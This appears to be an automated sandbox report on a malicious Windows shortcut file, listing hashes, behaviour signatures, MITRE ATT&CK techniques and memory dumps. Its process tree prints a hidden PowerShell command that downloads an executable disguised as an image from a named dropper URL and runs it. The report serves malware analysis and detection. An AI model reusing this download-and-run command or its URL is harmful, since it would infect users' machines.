3fc66c7fa652886cbdf85cc85aed678871dedf01f80207fb94c7d316199e38fb

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23/05/2024, 12:52

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General

Target

mpf248001.lnk
Size

2KB
MD5

77974f95d0161538e10b02e181f43ca5
SHA1

9a140197bd19de7a5aca70286780d81c9d33a709
SHA256

4de917051a4f97310df4d0674dfd2d8fb019bb033af88d9521e2ae1f30cd8936
SHA512

2cfac448a050a3c00c8f4a80c96e2a0aba5b5526d7c420a63ed1b1a32bc0202578bf86a960a918490340864a33d54fafd8f887c41a762724dbcb959266f3f6ad

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://muonlinebr.com.br/imagens.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2508	powershell.exe
6	2508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 2508	1720	cmd.exe	29
PID 1720 wrote to memory of 2508	1720	cmd.exe	29
PID 1720 wrote to memory of 2508	1720	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\mpf248001.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command "(New-Object System.Net.WebClient).DownloadFile(\"https://muonlinebr.com.br/imagens.jpg\",\"$env:APPDATA\king.exe\")";[Diagnostics.Process]::Start(\"$env:APPDATA\king.exe\")
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2508-38-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2508-39-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2508-40-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/2508-41-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-42-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-43-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-44-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-45-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-46-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download